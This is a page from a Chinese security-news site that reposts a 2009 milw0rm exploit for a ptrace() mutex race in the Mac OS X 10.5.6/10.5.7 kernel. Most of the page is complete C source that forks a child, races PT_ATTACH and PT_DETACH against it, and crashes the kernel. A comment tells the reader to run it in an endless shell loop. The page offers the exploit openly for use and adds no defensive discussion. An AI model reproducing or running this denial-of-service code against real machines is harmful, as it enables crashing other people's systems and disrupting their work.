首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.5.6/10.5.7 ptrace() mutex handling DoS
来源:https://prdelka.blackart.org.uk/ 作者:prdelka 发布时间:2009-11-05  

/*
  Mac OS X 10.5.6/10.5.7 ptrace() mutex handling DoS
  ==================================================
  This code should be run in a loop and due to problems
  with mutex handling in ptrace a DoS can occur when a
  destroyed mutex is attempted to be interlocked by OSX
  kernel giving rise to a race condition. You may need
  to run this code multiple times.
 
  - Tested against 10.5.6
  - Tested against 10.5.7
  - Tested against 10.6.1

  while `true`;do ./prdelka-vs-APPLE-ptracepanic;done

  This code is dedicated to a friend who I met in this
  place. Long live the exploit scene. R.I.P str0ke.

  -- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>


int main(){
 pid_t pid;
 char *argv[] = {"id","","",0};
 char *envp[] = {"",0};
 pid = fork();
 if(pid == 0){
  usleep(100);
  execve("/usr/bin/id",argv,envp);
 }
 else{
  usleep(820);
  if(ptrace(PT_ATTACH,pid,0,0)==0){
   printf("[ PID: %d has been caught!\n",pid);
   if(ptrace(PT_DETACH,pid,0,0)<0){
    perror("Evil happens.");
   }
   usleep(1);
   wait(0);
   }
  else{
   perror("Fail!");
  }
 }
 return(0);
}

// milw0rm.com [2009-11-04]


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PunBB Extension Attachment ver
·Remote buffer overflow exploit
·Xion Audio Player version 1.0
·Blender .blend Project Arbitra
·Symantec ConsoleUtilities Acti
·E-doo music get shell Vulnerab
·RhinoSoft.com Serv-U 9.0.0.5 W
·Joomla 1.5.12 Remote Code Exec
·This is a proof of concept exp
·Linux Kernel 'pipe.c' Local Pr
·Linux Kernel 'pipe.c' Local Pr
·Flash应用安全规范
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved